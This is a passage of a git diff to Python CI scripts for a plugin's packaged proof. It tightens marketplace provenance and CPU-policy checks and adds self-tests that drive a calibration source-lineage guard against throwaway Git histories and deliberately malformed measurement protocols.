1448d724c..53fc67016 100644 --- a/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py +++ b/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py @@ -16,6 +16,7 @@ PINNED_CODEX_CLI_VERSION, require, ) +from .marketplace_installation import delivery_state from .native_manifest import runtime_executable_sha256 from .qualification_retained_types import ( RetainedPackageBinding, @@ -29,8 +30,13 @@ def _verify_marketplace_provenance( plugin: dict, runtime: dict, ) -> None: + # The two catalog delivery states carry different repository identities, and the retained + # evidence must name the one that matches its own installer identity. Accepting either name + # for either identity would let a deferred release's retained evidence read as a live one. + state = delivery_state(plugin.get("installation_source")) + require(state is not None, "installed evidence names no marketplace delivery state") require( - plugin.get("marketplace_repository") == "TheGreenCedar/AgentPluginMarketplace" + plugin.get("marketplace_repository") == state.repository and plugin.get("codex_cli_version") == PINNED_CODEX_CLI_VERSION and runtime.get("build_source") == "github_release" and runtime.get("repo_ref") == f"v{contract.manifest['release_version']}", @@ -87,15 +93,18 @@ def _verify_installed_provenance(contract: RetainedQualificationContract) -> Non installation_source = plugin.get("installation_source") require( plugin.get("schema_version") == 2 - and installation_source in {"codex_marketplace_install", "candidate_archive"} + and ( + installation_source == "candidate_archive" + or delivery_state(installation_source) is not None + ) and plugin.get("plugin_id") == "codestory" and plugin.get("plugin_version") == manifest["release_version"], "installed evidence has invalid plugin provenance", ) - if installation_source == "codex_marketplace_install": - _verify_marketplace_provenance(contract, plugin, runtime) - else: + if installation_source == "candidate_archive": _verify_candidate_provenance(contract, plugin, runtime) + else: + _verify_marketplace_provenance(contract, plugin, runtime) require_sha256( plugin.get("plugin_package_sha256"), "installed evidence plugin_package_sha256", @@ -196,7 +205,7 @@ def _verify_host(contract: RetainedQualificationContract) -> None: ) require( package.get("policy") == host.get("policy") - and host.get("policy") in {"accelerated", "cpu_explicit"}, + and host.get("policy") == "accelerated", "retained qualification package and host policy identities disagree", ) require( diff --git a/.github/scripts/packaged_agent_proof/qualification_workflow.py b/.github/scripts/packaged_agent_proof/qualification_workflow.py index 02d5f30d5..e2d7479af 100644 --- a/.github/scripts/packaged_agent_proof/qualification_workflow.py +++ b/.github/scripts/packaged_agent_proof/qualification_workflow.py @@ -40,11 +40,7 @@ def produce_qualification_evidence( external = collect_qualification_external_evidence(context) runner = run_qualification_producer(context) scenarios = collect_qualification_scenarios(context, runner, external) - measurements = collect_qualification_measurements( - context, - runner, - external, - ) + measurements = collect_qualification_measurements(context, runner, scenarios) return write_qualification_outputs( context, runner, diff --git a/.github/scripts/packaged_agent_proof/runtime_bootstrap_continuity.py b/.github/scripts/packaged_agent_proof/runtime_bootstrap_continuity.py index 309ddfcc1..25087c94c 100644 --- a/.github/scripts/packaged_agent_proof/runtime_bootstrap_continuity.py +++ b/.github/scripts/packaged_agent_proof/runtime_bootstrap_continuity.py @@ -94,23 +94,25 @@ def _live_retrieval( cold: ColdProof, manifest: dict, ) -> dict | None: - run_parallel( - { - "packet-a": lambda: hosts.host_a.tool_until_ready( - "packet", - { - "project": str(setup.project_a), - "question": args.question, - "budget": "compact", - }, - "packet-a", - ), - "search-b-live": lambda: hosts.host_b.search_until_ready( - {"project": str(setup.project_b), "query": setup.query_b, "why": True}, - "search-b-live", - ), - } + live_tasks = {} + # Calibration already proved both projects in the cold phase. Its draft + # measurements keep the resident process set live through the tiny project + # instead of starting another full-project activation. + if args.proof_tier != "calibration": + live_tasks["packet-a"] = lambda: hosts.host_a.tool_until_ready( + "packet", + { + "project": str(setup.project_a), + "question": args.question, + "budget": "compact", + }, + "packet-a", + ) + live_tasks["search-b-live"] = lambda: hosts.host_b.search_until_ready( + {"project": str(setup.project_b), "query": setup.query_b, "why": True}, + "search-b-live", ) + run_parallel(live_tasks) after = server_snapshot( hosts.host_b.engine_diagnostics(setup.project_b, "diagnostics-after-live"), manifest, @@ -166,10 +168,18 @@ def _continuity_proof( == cold.shared_identity["server_instance_id"], "one client exit disrupted the surviving client or replaced the server", ) + # Replacement-host continuity needs the same resident server, not a second + # activation of the full calibration source tree. + if args.proof_tier == "calibration": + rejoin_project = setup.project_b + rejoin_query = setup.query_b + else: + rejoin_project = setup.project_a + rejoin_query = args.query host_c = McpProcess( setup.command, env=setup.qualified_env, - cwd=setup.project_a, + cwd=rejoin_project, timeout=args.timeout_secs, ) start_c = process_start_identity(host_c.process.pid) @@ -184,10 +194,10 @@ def _continuity_proof( ) host_c.initialize() host_c.search_until_ready( - {"project": str(setup.project_a), "query": args.query, "why": True}, + {"project": str(rejoin_project), "query": rejoin_query, "why": True}, "rejoin-search", ) - diagnostics = host_c.engine_diagnostics(setup.project_a, "rejoin-diagnostics") + diagnostics = host_c.engine_diagnostics(rejoin_project, "rejoin-diagnostics") rejoin_identity = engine_identity( diagnostics, args.engine_policy, diff --git a/.github/scripts/packaged_agent_proof/runtime_retrieval_quality.py b/.github/scripts/packaged_agent_proof/runtime_retrieval_quality.py index 721994b00..7ca9295de 100644 --- a/.github/scripts/packaged_agent_proof/runtime_retrieval_quality.py +++ b/.github/scripts/packaged_agent_proof/runtime_retrieval_quality.py @@ -211,7 +211,7 @@ def _verify_cache_provenance(row: dict, index: int) -> None: and bool(cache.get("semantic_generation")) and bool(cache.get("manifest_embedding_backend")) and bool(cache.get("embedding_engine_instance_id")) - and cache.get("embedding_policy") in {"accelerated", "cpu_explicit"} + and cache.get("embedding_policy") == "accelerated" and cache.get("semantic_backend") is not None and cache.get("local_only") is True and cache.get("indexed") is True diff --git a/.github/scripts/packaged_agent_proof/self_test.py b/.github/scripts/packaged_agent_proof/self_test.py index ae80128be..5615804c9 100644 --- a/.github/scripts/packaged_agent_proof/self_test.py +++ b/.github/scripts/packaged_agent_proof/self_test.py @@ -1,10 +1,12 @@ """Owner-oriented packaged-proof self-test aggregation.""" +from .self_test_calibration_lineage import run_calibration_lineage_self_tests from .self_test_cli import run_cli_self_tests from .self_test_contracts import run_contract_self_tests from .self_test_full_stack import run_full_stack_self_tests from .self_test_installation import run_installation_self_tests from .self_test_managed_layout import run_managed_layout_self_tests +from .self_test_marketplace_delivery import run_marketplace_delivery_self_tests from .self_test_process import run_process_self_tests from .self_test_producer_liveness import run_producer_liveness_self_tests from .self_test_qualification import run_qualification_self_tests @@ -13,12 +15,14 @@ def self_test() -> None: run_cli_self_tests() + run_calibration_lineage_self_tests() run_contract_self_tests() run_process_self_tests() run_producer_liveness_self_tests() run_idle_boundary_self_tests() run_qualification_self_tests() run_installation_self_tests() + run_marketplace_delivery_self_tests() run_managed_layout_self_tests() run_full_stack_self_tests() print("packaged per-user embedding server proof self-test passed") diff --git a/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py new file mode 100644 index 000000000..00b8850a5 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py @@ -0,0 +1,432 @@ +"""Self-tests for the calibration-to-package source lineage guard. + +``verify_calibration_source_lineage`` is the strongest binding the calibration +freeze has: the calibrated commit must be an ancestor of the packaged commit and +the freeze file must be the only path that differs. Until the guard was turned +on in CI nothing exercised it -- every caller in the tree passed +``enforce_source_lineage=False`` -- so it could have been deleted, inverted, or +quietly weakened without one test objecting. These tests build real throwaway Git +histories and drive the guard directly, in both directions, including the +calibrate-then-bump ordering that the enabled guard now rejects. +""" + +from __future__ import annotations + +import argparse +import json +import os +import subprocess +import tempfile +from collections.abc import Iterable +from pathlib import Path + +from . import archive_proof +from .calibration_lineage import ( + CONSTANT_SET_FREEZE_PATH, + verify_calibration_source_lineage, +) +from .foundation import REPOSITORY_ROOT, ProofFailure, require + +CARGO_MANIFEST_PATH = "crates/codestory-cli/Cargo.toml" +_GIT_ENVIRONMENT = { + "GIT_AUTHOR_NAME": "CodeStory Proof", + "GIT_AUTHOR_EMAIL": "proof@codestory.invalid", + "GIT_COMMITTER_NAME": "CodeStory Proof", + "GIT_COMMITTER_EMAIL": "proof@codestory.invalid", + "GIT_AUTHOR_DATE": "2026-01-01T00:00:00+00:00", + "GIT_COMMITTER_DATE": "2026-01-01T00:00:00+00:00", + # A developer's global signing or hook configuration must not decide whether + # this fixture repository can commit. + "GIT_CONFIG_GLOBAL": os.devnull, + "GIT_CONFIG_SYSTEM": os.devnull, +} + + +def _git(root: Path, *arguments: str) -> str: + completed = subprocess.run( + ["git", "-c", "commit.gpgsign=false", *arguments], + cwd=root, + text=True, + capture_output=True, + timeout=60, + env={**os.environ, **_GIT_ENVIRONMENT}, + ) + require( + completed.returncode == 0, + f"calibration lineage self-test git {' '.join(arguments)} failed: " + + (completed.stderr.strip() or completed.stdout.strip() or "no output"), + ) + return completed.stdout.strip() + + +def _write(root: Path, relative: str, text: str) -> None: + path = root / relative + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + + +def _constant_set(status: str) -> str: + return json.dumps({"status": status}, indent=2) + "\n" + + +def _cargo_manifest(version: str) -> str: + return f'[package]\nname = "codestory-cli"\nversion = "{version}"\n' + + +def _commit(root: Path, message: str, *, allow_empty: bool = False) -> dict: + _git(root, "add", "-A") + arguments = ["commit", "--no-verify", "-q", "-m", message] + if allow_empty: + arguments.insert(1, "--allow-empty") + _git(root, *arguments) + return { + "commit": _git(root, "rev-parse", "HEAD"), + "tree": _git(root, "rev-parse", "HEAD^{tree}"), + "tracked_dirty": False, + } + + +def _reject( + label: str, + fragments: Iterable[str], + calibration_source: dict, + frozen_source: dict, + root: Path, +) -> None: + try: + verify_calibration_source_lineage(calibration_source, frozen_source, root) + except ProofFailure as failure: + message = str(failure) + for fragment in fragments: + require( + fragment in message, + f"{label} rejection message omitted {fragment!r}: {message}", + ) + else: + raise ProofFailure( + f"{label} was accepted by the calibration source-lineage guard" + ) + + +def _build_calibration_history(root: Path) -> dict: + _git(root, "-c", "init.defaultBranch=main", "init", "-q") + _write(root, "README.md", "calibration lineage fixture\n") + _write(root, CARGO_MANIFEST_PATH, _cargo_manifest("0.16.1")) + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("unfrozen")) + return _commit(root, "calibrated tree") + + +def _accepts_the_single_freeze_commit(root: Path, calibration: dict) -> dict: + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("frozen")) + frozen = _commit(root, "freeze the constant set") + lineage = verify_calibration_source_lineage(calibration, frozen, root) + require( + lineage + == { + "selection_commit": calibration["commit"], + "frozen_commit": frozen["commit"], + "freeze_commit": frozen["commit"], + "promotion_commit": None, + "allowed_changed_paths": [CONSTANT_SET_FREEZE_PATH], + }, + "the one allowed constant-set freeze commit was not accepted intact", + ) + return frozen + + +def _rejects_commit_after_freeze( + root: Path, + calibration: dict, + frozen: dict, +) -> None: + later = _commit(root, "later empty commit", allow_empty=True) + _reject( + "a later tree-preserving commit", + ["direct single-parent child", "later commit revokes acceptance"], + calibration, + later, + root, + ) + accepted_promotion = verify_calibration_source_lineage( + calibration, + later, + root, + allow_promotion_commit=True, + ) + require( + accepted_promotion["freeze_commit"] == frozen["commit"] + and accepted_promotion["promotion_commit"] == later["commit"], + "the explicit tree-preserving promotion exception lost its exact commits", + ) + _git(root, "reset", "-q", "--hard", frozen["commit"]) + + +def _rejects_identity_and_checkout_drift( + root: Path, + calibration: dict, + frozen: dict, +) -> None: + _reject( + "a dirty packaged source tree", + ["frozen package source tree was dirty"], + calibration, + {**frozen, "tracked_dirty": True}, + root, + ) + _reject( + "an inexact calibration source identity", + ["calibration source identity is not an exact Git commit and tree"], + {**calibration, "commit": "not-a-commit"}, + frozen, + root, + ) + _reject( + "a package that added no freeze commit at all", + ["frozen package did not add the required constant-set freeze commit"], + frozen, + frozen, + root, + ) + _reject( + "a packaged source the verification checkout does not hold", + ["verification checkout does not match the frozen package source"], + calibration, + {**frozen, "tree": calibration["tree"]}, + root, + ) + _reject( + "a calibration tree that its own commit does not resolve to", + ["calibration commit does not resolve to the recorded calibration tree"], + {**calibration, "tree": frozen["tree"]}, + frozen, + root, + ) + + +def _rejects_calibrate_then_bump(root: Path, calibration: dict) -> None: + """The sequencing decision the enabled guard makes for the release runbook. + + Calibrating first and bumping the version afterwards puts a second commit + between the calibrated tree and the packaged tree, so the frozen constants + were measured on a tree that is not the one shipping. The guard must reject + it, and the message must name the offending path and the required ordering + so a release operator can act from the CI log alone. + """ + _git(root, "checkout", "-q", "-b", "calibrate-then-bump", calibration["commit"]) + _write(root, CARGO_MANIFEST_PATH, _cargo_manifest("0.16.2")) + _commit(root, "bump the version after calibration") + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("frozen")) + bumped_after_calibration = _commit(root, "freeze the constant set") + _reject( + "a version bump landing after calibration", + [ + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file", + CARGO_MANIFEST_PATH, + "bump-then-calibrate", + "recalibrate on the bumped tree", + ], + calibration, + bumped_after_calibration, + root, + ) + require( + CONSTANT_SET_FREEZE_PATH + in _git( + root, + "diff", + "--name-only", + calibration["commit"], + bumped_after_calibration["commit"], + ), + "the calibrate-then-bump fixture did not also land the freeze file", + ) + + +def _rejects_missing_freeze_and_unrelated_history( + root: Path, + frozen: dict, +) -> None: + _git(root, "checkout", "-q", "main") + empty_freeze = _commit(root, "package without freezing anything", allow_empty=True) + _reject( + "a packaged commit that changed no path at all", + [ + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file", + "did not add the required", + CONSTANT_SET_FREEZE_PATH, + "bump-then-calibrate", + ], + frozen, + empty_freeze, + root, + ) + _git(root, "reset", "-q", "--hard", frozen["commit"]) + _git(root, "checkout", "-q", "--orphan", "unrelated") + _write(root, "unrelated.txt", "measured somewhere else entirely\n") + unrelated = _commit(root, "calibrate on unrelated history") + _git(root, "checkout", "-q", "main") + require( + _git(root, "rev-parse", "HEAD") == frozen["commit"], + "the lineage fixture lost its frozen checkout", + ) + _reject( + "calibration measured on unrelated history", + [ + "is not an ancestor of the frozen package source", + unrelated["commit"], + frozen["commit"], + "bump-then-calibrate", + ], + unrelated, + frozen, + root, + ) + + +_PROBE_MANIFEST = { + "source": {"commit": "a" * 40, "tree": "b" * 40, "tracked_dirty": False}, + "asset_target": "linux-x64", + "release_version": "0.0.0", +} +_PROBE_CONTRACT = { + "constant_set": {}, + "protocol_sha256": "protocol", + "constant_set_sha256": "constants", + "measurement_protocol_sha256": "measurement", +} + + +def _lineage_probe_arguments(**overrides: object) -> argparse.Namespace: + """The exact argument shape the packaged proof lineage step dispatches.""" + values: dict[str, object] = { + "archive": Path("archive.tar.gz"), + "checksum_file": Path("SHA256SUMS.txt"), + "expected_version": "0.0.0", + "expected_source_sha": "a" * 40, + "expected_source_tree": "b" * 40, + "measurement_protocol": Path("measurement-protocol.json"), + "out_dir": Path("target/packaged-calibration-lineage"), + "project": None, + "engine_policy": None, + "offline": False, + "version_only": True, + "proof_tier": "hosted_package", + "server_behavior_only": False, + "ground_only": False, + "produce_qualification_evidence": False, + "qualification_evidence": None, + "enforce_calibration_freeze_lineage": True, + "calibration_bundle": Path("calibration-bundle.json"), + "calibration_producer_run_id": "1234567890", + "calibration_producer_artifact": "embedding-calibration-bundle-" + "c" * 40, + "timeout_secs": 1800, + } + values.update(overrides) + return argparse.Namespace(**values) + + +def _run_lineage_probe(args: argparse.Namespace) -> dict: + """Run the real proof pipeline with only archive and CLI layers stubbed. + + Everything the lineage step depends on -- the frozen-contract requirement, + the calibration bundle load, and the enforcement flag reaching + ``verify_calibration_bundle`` -- stays real. Unpacking a synthetic archive + and executing a packaged binary do not, because neither decides whether the + guard runs. + """ + observed: dict = {} + originals: dict = {} + + def stub(name: str, value: object) -> None: + originals[name] = getattr(archive_proof, name) + setattr(archive_proof, name, value) + + def record_contracts(manifest, protocol, *, require_frozen): + observed["require_frozen"] = require_frozen + return _PROBE_CONTRACT + + def record_bundle(path, contract, **kwargs): + observed["bundle_verification"] = {"path": path, **kwargs} + return {"freeze_digest": "digest", "source_lineage": {"verified": True}} + + stub("unpack_archive", lambda archive, destination: None) + stub("find_cli", lambda root: Path("codestory-cli")) + stub("load_native_manifest", lambda root, cli, version: _PROBE_MANIFEST) + stub("verify_package_source", lambda args, manifest: None) + stub("verify_package_server_contracts", record_contracts) + stub("verify_calibration_bundle", record_bundle) + stub("isolated_environment", lambda root, policy, offline: {}) + stub("package_summary", lambda *call, **keywords: {"package_contract": {}}) + stub("write_json", lambda path, payload: None) + try: + archive_proof.run_archive_proof(args) + observed["outcome"] = "accepted" + except ProofFailure as failure: + observed["outcome"] = str(failure) + finally: + for name, value in originals.items(): + setattr(archive_proof, name, value) + return observed + + +def _version_only_invocation_enforces_the_lineage() -> None: + """Pin the CLI shape the reachable packaged-proof lineage step dispatches. + + The full frozen ``hosted_package`` qualification cannot run without the + optional exact-head release-evidence packet, which the frozen-candidate + coordinator is forbidden to carry. ``--version-only`` stops before the + runtime proof but still loads and verifies the authenticated bundle, so it + is the shape that can actually enforce the freeze lineage in CI. If that + stops being true this test fails rather than the guard silently going dark. + """ + enforced = _run_lineage_probe(_lineage_probe_arguments()) + require( + enforced["outcome"] == "accepted", + f"the version-only lineage invocation was rejected: {enforced['outcome']}", + ) + require( + enforced.get("require_frozen") is True, + "the version-only lineage invocation stopped requiring a frozen contract", + ) + verification = enforced.get("bundle_verification") + require( + isinstance(verification, dict) + and verification.get("enforce_source_lineage") is True + and verification.get("frozen_source") == _PROBE_MANIFEST["source"] + and verification.get("repository_root") == REPOSITORY_ROOT + and verification.get("expected_producer_run_id") == "1234567890" + and verification.get("expected_producer_artifact") + == "embedding-calibration-bundle-" + "c" * 40, + "the version-only lineage invocation did not enforce the source lineage " + f"against the packaged source: {verification}", + ) + # The flag is load-bearing rather than decorative here: dropping it does not + # quietly downgrade this step to an unchecked package smoke, it makes the + # bundle arguments illegal and the step fails closed. + unenforced = _run_lineage_probe( + _lineage_probe_arguments(enforce_calibration_freeze_lineage=False) + ) + require( + unenforced["outcome"] == "qualification proof rejects calibration inputs", + "a version-only proof accepted calibration inputs without enforcing the " + f"freeze lineage: {unenforced['outcome']}", + ) + require( + "bundle_verification" not in unenforced, + "an unenforced version-only proof still verified the calibration bundle", + ) + + +def run_calibration_lineage_self_tests() -> None: + with tempfile.TemporaryDirectory() as raw: + root = Path(raw) / "calibration-lineage" + root.mkdir(parents=True) + calibration = _build_calibration_history(root) + frozen = _accepts_the_single_freeze_commit(root, calibration) + _rejects_commit_after_freeze(root, calibration, frozen) + _rejects_identity_and_checkout_drift(root, calibration, frozen) + _rejects_calibrate_then_bump(root, calibration) + _rejects_missing_freeze_and_unrelated_history(root, frozen) + _version_only_invocation_enforces_the_lineage() diff --git a/.github/scripts/packaged_agent_proof/self_test_cli.py b/.github/scripts/packaged_agent_proof/self_test_cli.py index 4e895f433..b95c13320 100644 --- a/.github/scripts/packaged_agent_proof/self_test_cli.py +++ b/.github/scripts/packaged_agent_proof/self_test_cli.py @@ -7,10 +7,9 @@ from pathlib import Path from .archive_proof import claim_scope, load_calibration_bundle, requires_calibration_bundle -from .cli import _resolve_optional_paths +from .cli import _resolve_optional_paths, _validate_calibration_mode from .contract_primitives import write_json from .foundation import ProofFailure, require -from .qualification_recording import record_calibration_qualification def run_cli_self_tests() -> None: @@ -25,12 +24,22 @@ def run_cli_self_tests() -> None: qualification_evidence=None, qualification_driver=None, publication_fault_evidence=None, - retrieval_quality_evidence=None, calibration_bundle=None, - calibration_run_output=None, + collect_constant_calibration=False, + constant_calibration_output_dir=None, installed_plugin_attestation=attestation, installed_plugin_data=None, + out_dir=root / "proof", proof_tier="installed_runtime", + engine_policy="accelerated", + expected_backend="metal", + offline=True, + project=None, + plugin_root=None, + plugin_handoff=False, + additional_project=[], + additional_query=[], + produce_qualification_evidence=False, ground_only=True, server_behavior_only=False, version_only=False, @@ -92,19 +101,57 @@ def run_cli_self_tests() -> None: args.enforce_calibration_freeze_lineage = False args.server_behavior_only = False - calibration = root / "calibration.json" - write_json( - calibration, - { - "schema_version": 1, - "status": "calibration", - "tier": "calibration", - }, - ) - args.qualification_evidence = calibration - summary: dict[str, object] = {} - record_calibration_qualification(args, summary) - require( - summary["qualification"]["status"] == "calibration", - "calibration qualification was not recorded", - ) + calibration_args = argparse.Namespace(**vars(args)) + calibration_args.proof_tier = "calibration" + calibration_args.ground_only = False + calibration_args.server_behavior_only = False + try: + _validate_calibration_mode(calibration_args) + except ProofFailure: + pass + else: + raise ProofFailure( + "calibration tier reached the full qualification path without its collector" + ) + calibration_args.collect_constant_calibration = True + calibration_args.constant_calibration_output_dir = root / "constant-runs" + calibration_args.qualification_driver = attestation + _validate_calibration_mode(calibration_args) + calibration_args.produce_qualification_evidence = True + try: + _validate_calibration_mode(calibration_args) + except ProofFailure: + pass + else: + raise ProofFailure( + "constant calibration accepted a full qualification producer" + ) + calibration_args.produce_qualification_evidence = False + calibration_args.plugin_handoff = True + try: + _validate_calibration_mode(calibration_args) + except ProofFailure: + pass + else: + raise ProofFailure( + "constant calibration accepted packaged plugin handoff" + ) + calibration_args.plugin_handoff = False + calibration_args.plugin_root = attestation + try: + _validate_calibration_mode(calibration_args) + except ProofFailure: + pass + else: + raise ProofFailure( + "constant calibration accepted a packaged plugin root" + ) + calibration_args.plugin_root = None + calibration_args.engine_policy = "cpu_explicit" + calibration_args.expected_backend = "cpu" + try: + _validate_calibration_mode(calibration_args) + except ProofFailure: + pass + else: + raise ProofFailure("constant calibration accepted CPU execution") diff --git a/.github/scripts/packaged_agent_proof/self_test_contract_scope.py b/.github/scripts/packaged_agent_proof/self_test_contract_scope.py index d13adce3c..61dedd91a 100644 --- a/.github/scripts/packaged_agent_proof/self_test_contract_scope.py +++ b/.github/scripts/packaged_agent_proof/self_test_contract_scope.py @@ -42,7 +42,6 @@ def _claim_scope_tests() -> None: additional_query=[], produce_qualification_evidence=False, qualification_evidence=None, - retrieval_quality_evidence=None, publication_fault_evidence=None, proof_tier="installed_runtime", ) @@ -53,7 +52,6 @@ def _claim_scope_tests() -> None: ("server_behavior_only", True), ("produce_qualification_evidence", True), ("qualification_evidence", Path("qualification.json")), - ("retrieval_quality_evidence", Path("quality.json")), ("publication_fault_evidence", Path("fault.json")), ): hostile_scope = argparse.Namespace(**vars(valid_ground_scope)) diff --git a/.github/scripts/packaged_agent_proof/self_test_contracts.py b/.github/scripts/packaged_agent_proof/self_test_contracts.py index 906df9556..10ea97271 100644 --- a/.github/scripts/packaged_agent_proof/self_test_contracts.py +++ b/.github/scripts/packaged_agent_proof/self_test_contracts.py @@ -2,10 +2,14 @@ from .self_test_contract_scope import run_contract_scope_self_tests from .self_test_resource_identity import run_resource_identity_self_tests +from .self_test_runtime_bootstrap_scope import ( + run_runtime_bootstrap_scope_self_tests, +) from .self_test_worker_schema import run_worker_schema_self_tests def run_contract_self_tests() -> None: run_contract_scope_self_tests() + run_runtime_bootstrap_scope_self_tests() run_resource_identity_self_tests() run_worker_schema_self_tests() diff --git a/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py b/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py index c3a130ee4..c881c0a1e 100644 --- a/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py +++ b/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py @@ -12,8 +12,10 @@ build_calibration_self_test_bundle, ) from .calibration_verification import verify_calibration_bundle -from .contract_primitives import canonical_sha256, write_json +from .constant_calibration import _validate_driver_output +from .contract_primitives import canonical_sha256, sha256, write_json from .foundation import TARGET_CONTRACTS, ProofFailure, require +from .measurement_protocol import load_measurement_protocol from .measurement_samples import selected_qualification_matrix_cell from .package_contracts import verify_package_server_contracts from .qualification_measurements import ( @@ -31,6 +33,134 @@ def _qualification_matrix_tests(fixture: FullStackFixture) -> dict: self_measurement_protocol, require_frozen=False, ) + for label, field, value in ( + ( + "server idle epoch", + "phase", + [ + "last_queued_active_or_leased_work_ended", + "engine_and_server_absent", + ], + ), + ( + "pre-completion workload", + "workload", + "true_idle_60000_awake_ms_v1", + ), + ): + regressed_true_idle = json.loads( + json.dumps(measurement_contract["measurement_protocol"]) + ) + if field == "phase": + regressed_true_idle["phase_boundaries"]["true_idle_exit"] = value + else: + regressed_true_idle["workloads"]["true_idle_exit"]["workload_id"] = value + regressed_true_idle_path = ( + fixture.root / f"true-idle-{field}-regression.json" + ) + write_json(regressed_true_idle_path, regressed_true_idle) + try: + load_measurement_protocol(regressed_true_idle_path) + except ProofFailure: + pass + else: + raise ProofFailure(f"true-idle qualification accepted {label}") + for quality_metric in ( + "answer_quality", + "packet_quality", + "publishable_packet_pass_rate", + ): + quality_reintroduced = json.loads( + json.dumps(measurement_contract["measurement_protocol"]) + ) + quality_reintroduced["required_metrics"].append(quality_metric) + quality_reintroduced["phase_boundaries"][quality_metric] = [ + "publishable_packet_candidate_fixed", + "publishable_packet_pass_rate_scored", + ] + quality_reintroduced["workloads"][quality_metric] = { + "workload_id": "publishable_three_repeat_packet_v1", + "owner_state": "external_exact_head_artifact", + "operation": "packet_runtime", + "input_generator": "axios_js_ts_v2", + } + quality_reintroduced["metric_sampling"][quality_metric] = { + "sample_count": 3, + "aggregation": "minimum", + } + quality_reintroduced["metric_contracts"][quality_metric] = { + "comparison": "greater_than_or_equal", + "unit": "publishable_packet_pass_rate", + } + quality_protocol_path = ( + fixture.root / f"{quality_metric}-reintroduced-protocol.json" + ) + write_json(quality_protocol_path, quality_reintroduced) + try: + load_measurement_protocol(quality_protocol_path) + except ProofFailure: + pass + else: + raise ProofFailure( + f"shape-complete {quality_metric} re-entered frozen-candidate qualification" + ) + for quality_assertion in ( + "answer_quality_sufficient", + "packet_quality_pass", + "publishable_packet_pass_rate_is_one", + ): + quality_reintroduced = json.loads( + json.dumps(measurement_contract["measurement_protocol"]) + ) + quality_reintroduced["scenario_contracts"]["frozen_owner"][ + "required" + ].append(quality_assertion) + quality_protocol_path = ( + fixture.root / f"{quality_assertion}-scenario-protocol.json" + ) + write_json(quality_protocol_path, quality_reintroduced) + try: + load_measurement_protocol(quality_protocol_path) + except ProofFailure: + pass + else: + raise ProofFailure( + f"{quality_assertion} re-entered lifecycle scenario qualification" + ) + repurposed_metric = json.loads( + json.dumps(measurement_contract["measurement_protocol"]) + ) + repurposed_metric["phase_boundaries"]["warm_query_ipc"] = [ + "publishable_packet_candidate_fixed", + "publishable_packet_pass_rate_scored", + ] + repurposed_metric["calibration_phase_boundaries"]["warm_query_ipc"] = list( + repurposed_metric["phase_boundaries"]["warm_query_ipc"] + ) + repurposed_metric["workloads"]["warm_query_ipc"] = { + "workload_id": "publishable_three_repeat_packet_v1", + "owner_state": "external_exact_head_artifact", + "operation": "packet_runtime", + "input_generator": "axios_js_ts_v2", + } + repurposed_metric["metric_sampling"]["warm_query_ipc"] = { + "sample_count": 3, + "aggregation": "minimum", + } + repurposed_metric["metric_contracts"]["warm_query_ipc"] = { + "comparison": "greater_than_or_equal", + "unit": "publishable_packet_pass_rate", + } + repurposed_protocol_path = fixture.root / "repurposed-quality-metric.json" + write_json(repurposed_protocol_path, repurposed_metric) + try: + load_measurement_protocol(repurposed_protocol_path) + except ProofFailure: + pass + else: + raise ProofFailure( + "warm query metric was repurposed as packet quality" + ) windows_cell_id = "protected_windows_x64_vulkan" windows_cell = selected_qualification_matrix_cell( measurement_contract["measurement_protocol"], @@ -127,8 +257,8 @@ def _calibration_bundle_tests( ) ) require( - assembled["run_count"] == 6 - and assembled["matrix_cell_count"] == 2 + assembled["run_count"] == 3 + and assembled["matrix_cell_count"] == 1 and assembled_bundle_path.is_file() and assembled_constant_path.is_file(), "calibration assembler did not produce the exact frozen artifacts", @@ -139,10 +269,29 @@ def _calibration_bundle_tests( enforce_source_lineage=False, ) require( - calibration_result["run_count"] == 6 - and calibration_result["matrix_cell_count"] == 2, + calibration_result["run_count"] == 3 + and calibration_result["matrix_cell_count"] == 1, "calibration bundle self-test did not verify the full matrix", ) + require( + calibration_result["source_lineage"] is None, + "an unenforced verification reported a calibration source lineage", + ) + # The flag must not be inert: with lineage enforcement on and no packaged + # source to bind, the freeze has to refuse rather than silently skip the + # guard the release workflow now depends on. + try: + verify_calibration_bundle( + calibration_bundle_path, + frozen_measurement_contract, + enforce_source_lineage=True, + ) + except ProofFailure: + pass + else: + raise ProofFailure( + "enforced calibration source lineage was skipped without a packaged source" + ) return CalibrationFixture( bundle_path=calibration_bundle_path, bundle_payload=calibration_bundle_payload, @@ -173,15 +322,12 @@ def _measurement_window_semantics_tests( inclusive_api = protocol["clock_policy"]["suspend_detection"]["platform_apis"][ target_os ] - raw_metric_names = frozenset( - set(protocol["required_metrics"]) - - {"retrieval_quality", "total_codestory_process_memory"} - ) + raw_metric_names = frozenset(protocol["calibration_required_metrics"]) validation = MeasurementValidationContract( contracts={}, protocol=protocol, metric_contracts=protocol["metric_contracts"], - phase_boundaries=protocol["phase_boundaries"], + phase_boundaries=protocol["calibration_phase_boundaries"], matrix_cell_id=cell_id, matrix_cell=cell, expected_policy=cell["policy"], @@ -317,20 +463,253 @@ def _calibration_hostile_tests( pass else: raise ProofFailure("duplicate calibration sample identity was accepted") - hostile_frozen_contract = json.loads(json.dumps(frozen_measurement_contract)) - hostile_frozen_contract["constant_set"]["qualification_thresholds"][ + + hostile_calibration = json.loads(json.dumps(calibration_bundle_payload)) + hostile_run = hostile_calibration["runs"][0] + hostile_metric = hostile_run["raw_artifact"]["payload"]["metrics"][ "warm_query_ipc" - ] += 1 + ] + duplicate_sample = json.loads(json.dumps(hostile_metric["samples"][0])) + duplicate_sample["repeat"] = 2 + duplicate_sample["sample_id"] += "-repeat" + hostile_metric["samples"].append(duplicate_sample) + hostile_run["raw_artifact"]["sha256"] = canonical_sha256( + hostile_run["raw_artifact"]["payload"] + ) + write_json(hostile_calibration_path, 